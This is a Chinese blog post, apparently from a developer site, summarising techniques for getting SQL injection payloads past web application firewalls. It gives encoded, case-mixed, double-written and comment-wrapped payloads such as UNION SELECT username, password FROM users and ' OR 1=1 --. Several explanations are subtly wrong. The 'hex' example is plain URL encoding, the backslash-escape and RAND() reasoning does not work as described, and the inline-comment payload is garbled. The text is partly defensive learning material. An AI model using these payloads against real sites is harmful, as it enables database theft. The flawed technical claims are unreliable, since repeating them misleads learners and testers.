【WAF Bypass】sql注入漏洞的绕过WAF姿势总结

提示:本文将会对sql注入常见的手动绕过WAF测试手段进行总结。值得注意的是,目前各大商用WAF(包括网站安全狗)对于sql注入的防御相对比较完善与严格,笔者在汇总这些方式时,分别尝试在部署了最新版网站安全狗或宝塔的靶场构造Payload来绕过,都失败了…希望有大佬能分享更实时的sql注入绕过方式让我们学习。


声明

本文总结的绕waf方式仅仅只用于学习网络安全学科,不可以用于非法网络攻击破坏!守护网络安全,人人有责!


一、sql注入绕waf是什么?

SQL注入是指黑客通过在输入的数据中注入恶意的SQL语句来实现绕过应用程序的身份验证和安全措施,直接对数据库进行攻击的一种方式。
而WAF(Web应用程序防火墙)则是一种防御SQL注入攻击的常用措施,它可以在应用程序和数据库之间拦截恶意SQL语句,并阻止攻击者绕过应用程序的身份验证。
然而,有些攻击者会利用一些技巧来绕过WAF的防御措施,这也被称为SQL注入绕WAF攻击。

二、sql注入绕waf姿势总结

1.编码伪装

编码绕过的原理是,攻击者在注入时采用了一些特殊的字符编码方式,从而绕过WAF的检测过程。这种编码绕过的思路就是利用特殊的字符编码方式,将恶意SQL语句转化为WAF规则无法匹配的形式。伪装编码又分为以下几种:

(1)URL编码:
示例:

没有伪装前的payload:

SELECT * FROM users WHERE username = 'admin' or 1 = 1;--' AND password = '123456'

URL编码伪装后的payload:

SELECT%20*%20FROM%20users%20WHERE%20username%20%3D%20%27admin%27%20or%201%20%3D%201%3B--%27%20AND%20password%20%3D%20%27123456%27

(2)Unicode编码:

没有伪装前的payload:

SELECT * FROM users WHERE username = 'admin' OR 1=1 AND password = '123456'

伪装后的payload:

SELECT+*+FROM+users+WHERE+username+=+'%u0061dmin'+OR+1=1%23+AND+password+=+'123456'

(3)十六进制编码:

伪装前payload:

 ' OR 1=1 --

伪装后payload:

27%20%4F%52%201%3D%31%20%2D%2D

【常用】(4)二次编码:
(所举示例来源于:易哲水的博客

伪装前payload:

-1 union select 1,2,3,4#

第一次编码后的payload:

%2d%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%23

第二次编码后的payload:

%25%32%64%25%33%31%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%63%25%33%33%25%32%63%25%33%34%25%32%33

2.转义字符伪装

伪装前

'UNION SELECT username, password FROM users --

伪装后

\' UNION SELECT username, password FROM users --

在上述示例中,攻击者在原始payload中使用了单引号,在单引号前面加上了反斜杠【 \ 】,形成了转义字符 【\ ’ 】。但在程序中,反斜杠本身也是一个转义字符。我们通过将反斜杠和单引号组合使用,就可以在SQL语句中实现一个“接近”的单引号字符,而不是一个完整的单引号字符。这样,攻击者就成功地绕过了对单引号的过滤和校验。

3.随机数混淆

伪装前payload:

UNION SELECT username, password FROM users WHERE id=1

伪装后payload:

' UNION SELECT username, password
FROM users WHERE id=1 AND 1=(SELECT
RAND() < 0.5) --

在这个Payload中,攻击者使用了RAND()函数来生成一个随机数,并将它与0.5进行比较。因为RAND()函数可以返回0到1之间的任意数值,所以此处的比较操作的结果是随机的:有50%的几率生成的随机数小于0.5,50%的几率大于等于0.5。当生成的随机数小于0.5时,Payload会变成:

UNION SELECT username, password FROM users WHERE id=1 AND 1=1

当生成的随机数大于等于0.5时,Payload会变成:

UNION SELECT username, password FROM users WHERE id=1 AND 1=0

这两种情况对应了恶意代码执行成功和失败的情况。同时,攻击者还使用了–注释符号来消除掉多余的Payload,使得恶意代码更加难以被检测到。

采用随机数混淆的策略可以让Payload在每次注入时都不同,从而增加了WAF检测的难度。同时,由于随机数的不可预测性,攻击者可以借助随机的结果来判断注入是否成功,而WAF却无法识别这一点。

4.大小写伪装

这个比较简单了,就是通过大小写混合来伪装,比如:UnIon SeleCt

5.双写伪装

如:UNIunionON SELselectECT 原理也很简单:waf将其识别为普通字符而逃过过滤,但是应用程序按照union select来处理。

6.内联注释伪装

内联注释SQL注入的原理是在注入语句中嵌入内联注释,将恶意SQL代码隐藏在注释中,使之不会被防火墙检测到。例如,攻击者可以在注入语句中夹杂内联注释符号“/* */”,来进行伪装,使应用程序误解为注释掉的一部分代码,而实际上是执行了注入的恶意代码。

如:
’ /!union/ select

总结

针对sql注入攻击的绕过一般是在数据库层面的绕过,需要指出的是,针对
不同的数据库管理系统,其特性不同,绕过方式也存在差异。绕过的核心思路就是通过伪装混淆,逃过waf的过滤规则,但是又能在应用层顺利执行。
sql注入绕过的关键是灵活构造,多次尝试,不过现在waf都很厉害了,sql注入的测试难度都不小。

  • 28
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Web应用程序防火墙(WAF,Web Application Firewall)是一种网络安全设备或服务,用于检测和阻止针对Web应用的攻击,包括SQL注入等。SQL注入是攻击者通过恶意输入,将SQL代码插入到应用程序的数据库查询中,意图获取敏感信息或篡改数据。 WAF绕过SQL注入通常是攻击者针对WAF安全策略和技术限制来实施的一种技术手段,常见的方法包括: 1. **参数编码和转义**: 攻击者可能会尝试使用特殊字符的转义序列,如\"\'(单引号)或\"\"(双引号),来欺骗WAF,使其误判为合法的输入。 2. **利用WAF规则漏洞**: 一些老旧或配置不当的WAF可能无法识别复杂的注入模式,攻击者会利用这些漏洞进行攻击。 3. **HTTP头部注入**: 攻击者可能会尝试将SQL注入嵌入到HTTP头部请求中,有些WAF可能只关注请求体而忽视头部。 4. **使用存储过程或动态SQL**: 通过调用服务器端已存在的存储过程,或者构造动态SQL,使攻击难以被WAF直接拦截。 5. **利用API或JSON Web Token (JWT)**: 如果攻击发生在API层面,攻击者可能会利用API的认证机制,将SQL注入隐藏在合法的API调用中。 6. **社会工程学攻击**: 通过利用用户信任或权限漏洞,让目标用户执行包含SQL注入的恶意操作。 要防止WAF绕过,应不断更新和强化WAF规则,同时采用多重防御策略,比如使用参数化查询、输入验证、异常处理和对用户输入的深度检查。此外,定期审计和安全测试也是防止此类攻击的重要手段。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值